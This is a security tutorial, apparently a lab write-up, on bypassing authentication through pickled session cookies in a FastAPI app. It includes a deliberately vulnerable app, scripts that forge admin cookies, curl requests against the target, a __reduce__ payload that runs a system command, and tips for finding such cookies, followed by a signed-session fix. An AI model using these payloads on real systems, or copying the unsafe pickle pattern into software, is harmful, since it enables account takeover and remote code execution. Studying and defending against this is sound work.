Authentication Bypass via Unsafe Python Deserialization
Some applications skip JWTs and signed cookies entirely and store session state by pickling a Python object straight into a cookie. This collapses two problems into one: the privilege-escalation risk of a tamperable session, and the remote-code-execution risk of unsafe pickle deserialization. Both are exploitable here, and both stem from the application trusting attacker-controlled bytes during deserialization.
Python’s pickle module provides object serialization, allowing complex Python objects to be converted to byte streams and back. When applications use pickle to serialize session data or authentication cookies, attackers can craft malicious pickled objects to escalate privileges or execute arbitrary code.
Unlike JWT or signed cookies, pickled data has no built-in integrity verification. If an application unpickles user-controlled data without validation, attackers can modify the serialized content to change their role, user ID, or any other session attribute.
Vulnerable Application Example
The following FastAPI application uses pickled cookies to maintain user sessions:
from fastapi import FastAPI, Response, Cookie, HTTPException
from fastapi.responses import JSONResponse
import pickle
import base64
from typing import Optional
app = FastAPI(title="Session Management API")
class UserSession:
def __init__(self, user_id: str, username: str, role: str):
self.user_id = user_id
self.username = username
self.role = role
def create_session_cookie(session: UserSession) -> str:
"""Serialize session object to base64-encoded pickle."""
pickled = pickle.dumps(session)
return base64.b64encode(pickled).decode('utf-8')
def load_session_cookie(cookie_value: str) -> UserSession:
"""Deserialize session from base64-encoded pickle."""
try:
pickled = base64.b64decode(cookie_value)
# Vulnerable: unpickling user-controlled data
session = pickle.loads(pickled)
return session
except Exception:
raise HTTPException(status_code=401, detail="Invalid session")
@app.post("/api/login")
def login(username: str, password: str, response: Response):
"""Authenticate user and set session cookie."""
# Simplified authentication
if username == "guest" and password == "guest123":
session = UserSession(
user_id="user_001",
username="guest",
role="user"
)
cookie_value = create_session_cookie(session)
response.set_cookie(key="session", value=cookie_value)
return {"message": "Login successful", "role": session.role}
raise HTTPException(status_code=401, detail="Invalid credentials")
@app.get("/api/profile")
def get_profile(session: Optional[str] = Cookie(None)):
"""Get current user profile from session cookie."""
if not session:
raise HTTPException(status_code=401, detail="No session cookie")
user_session = load_session_cookie(session)
return {
"user_id": user_session.user_id,
"username": user_session.username,
"role": user_session.role
}
@app.get("/api/admin/panel")
def admin_panel(session: Optional[str] = Cookie(None)):
"""Admin-only endpoint."""
if not session:
raise HTTPException(status_code=401, detail="No session cookie")
user_session = load_session_cookie(session)
if user_session.role != "admin":
raise HTTPException(status_code=403, detail="Admin access required")
return {
"message": "Welcome to admin panel",
"admin_user": user_session.username,
"secret_data": "Sensitive admin information here"
}
if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8000)
The Vulnerability
The application serializes user session data using pickle:
def create_session_cookie(session: UserSession) -> str:
pickled = pickle.dumps(session)
return base64.b64encode(pickled).decode('utf-8')
And deserializes it without any integrity check:
def load_session_cookie(cookie_value: str) -> UserSession:
pickled = base64.b64decode(cookie_value)
session = pickle.loads(pickled) # Vulnerable!
return session
Since the cookie is just base64-encoded pickle data with no signature or encryption, an attacker can:
- Decode the cookie to examine its structure
- Create a new pickled object with modified attributes
- Encode it and send it back to the server
Exploitation: Privilege Escalation
First, login as a regular user and capture the session cookie:
curl -X POST "http://target:8000/api/login?username=guest&password=guest123" -c cookies.txt
The cookie contains a base64-encoded pickled UserSession object with role="user".
To escalate privileges, create a new pickled session with role="admin":
import pickle
import base64
class UserSession:
def __init__(self, user_id: str, username: str, role: str):
self.user_id = user_id
self.username = username
self.role = role
# Create admin session
admin_session = UserSession(
user_id="user_001",
username="guest",
role="admin" # Changed from "user" to "admin"
)
# Serialize and encode
pickled = pickle.dumps(admin_session)
malicious_cookie = base64.b64encode(pickled).decode('utf-8')
print(f"Malicious cookie: {malicious_cookie}")
This produces a cookie like:
gASVRgAAAAAAAACMCF9fbWFpbl9flIwLVXNlclNlc3Npb26Uk5QpgZR9lCiMB3VzZXJfaWSUjAh1c2VyXzAwMZSMCHVzZXJuYW1llIwFZ3Vlc3SUjARyb2xllIwFYWRtaW6UdWIu
Use the forged cookie to access the admin panel:
curl -X GET http://target:8000/api/admin/panel \
-H "Cookie: session=gASVRgAAAAAAAACMCF9fbWFpbl9flIwLVXNlclNlc3Npb26Uk5QpgZR9lCiMB3VzZXJfaWSUjAh1c2VyXzAwMZSMCHVzZXJuYW1llIwFZ3Vlc3SUjARyb2xllIwFYWRtaW6UdWIu"
The server unpickles the cookie, sees role="admin", and grants access.
Understanding the Pickle Format
To modify an existing cookie, decode and inspect it:
import pickle
import base64
# Original cookie from server
original_cookie = "gASVRQAAAAAAAACMCF9fbWFpbl9flIwLVXNlclNlc3Npb26Uk5QpgZR9lCiMB3VzZXJfaWSUjAh1c2VyXzAwMZSMCHVzZXJuYW1llIwFZ3Vlc3SUjARyb2xllIwEdXNlcpR1Yi4="
# Decode and unpickle
pickled_data = base64.b64decode(original_cookie)
session = pickle.loads(pickled_data)
print(f"User ID: {session.user_id}")
print(f"Username: {session.username}")
print(f"Role: {session.role}")
# Modify the role
session.role = "admin"
# Re-pickle and encode
modified_pickle = pickle.dumps(session)
malicious_cookie = base64.b64encode(modified_pickle).decode('utf-8')
print(f"\nModified cookie: {malicious_cookie}")
Beyond Privilege Escalation: Code Execution
Pickle deserialization can also lead to remote code execution. The __reduce__ method allows objects to specify how they should be reconstructed, which attackers can abuse:
import pickle
import base64
import os
class MaliciousSession:
def __reduce__(self):
# This will execute when unpickled
return (os.system, ("id > /tmp/pwned",))
payload = pickle.dumps(MaliciousSession())
malicious_cookie = base64.b64encode(payload).decode('utf-8')
print(f"RCE payload: {malicious_cookie}")
When the server calls pickle.loads() on this cookie, it executes the system command.
Why unsafe Python deserialization matters from an offensive security perspective
I prize a pickled session because it pays out twice from a single primitive. The same byte stream that lets me flip role="user" to role="admin" also lets me ship a __reduce__ gadget for code execution, so one finding spans privilege escalation and full RCE on the application host. When I see this in an assessment it usually means there is no signing key to recover and no signature to forge; I just rebuild the object I want and present it. That makes it a higher-value target than a leaked secret key, because there is no crypto in the way at all.
In Python apps these cookies hide in plain sight. Look for them here:
- Base64 blobs that begin with
gASorgAafter decoding to\x80\x05. That magic is the pickle protocol header, and it is the single most reliable tell that a session is a raw pickle rather than a JWT or anitsdangeroustoken. - Session cookies with no
.-delimited segments and no visible signature. A JWT has two dots and a Flask signed cookie has a trailing HMAC; a bare pickle has neither, so a structureless opaque blob is worth decoding immediately. pickle.loads,cloudpickle.loads, orpickle.loadreachable from any request-derived value. Grep the codebase for these on cookies, headers, form fields, cache entries, or message-queue payloads; each one is a candidate.- Custom session classes serialized “for convenience” rather than a framework session backend, which is the pattern that leads developers to reach for pickle in the first place.
The defender takeaway: treat any pickle-backed session as already compromised and migrate to a signed, opaque server-side session, because the bypass needs no key and no login. See Insecure Deserialization - Python Pickle for the gadget-chain mechanics behind the RCE path.
Proof of exploitation
Run the lab app (PyFuLabs/fastapi-fu/fastapi-pickle-auth-bypass). The session cookie is a base64-encoded pickle of a UserSession object, so the client can build one with role="admin" and present it:
# forge a pickled UserSession(role="admin") and base64-encode it
python3 -c 'import pickle,base64;from app import UserSession;print(base64.b64encode(pickle.dumps(UserSession("evil","attacker","admin"))).decode())'
curl -s "http://pyfu.local/fastapi-fu/fastapi-pickle-auth-bypass/api/admin/panel" \
-b "session=<forged-cookie>"
{"message":"Welcome to admin panel","admin_user":"attacker","secret_data":"Sensitive admin information here"}
pickle.loads rebuilt the attacker-controlled object verbatim, so a forged cookie became an admin session with no login.
Mitigation
Never use pickle for user-controlled data. Use signed and encrypted session storage:
from itsdangerous import URLSafeTimedSerializer
import json
SECRET_KEY = "your-secret-key-here"
serializer = URLSafeTimedSerializer(SECRET_KEY)
def create_session_cookie(session_data: dict) -> str:
"""Create signed session cookie."""
return serializer.dumps(session_data)
def load_session_cookie(cookie_value: str, max_age: int = 3600) -> dict:
"""Load and verify signed session cookie."""
try:
return serializer.loads(cookie_value, max_age=max_age)
except Exception:
raise HTTPException(status_code=401, detail="Invalid or expired session")
Alternatively, use JWT tokens or server-side session storage where only a session ID is sent to the client.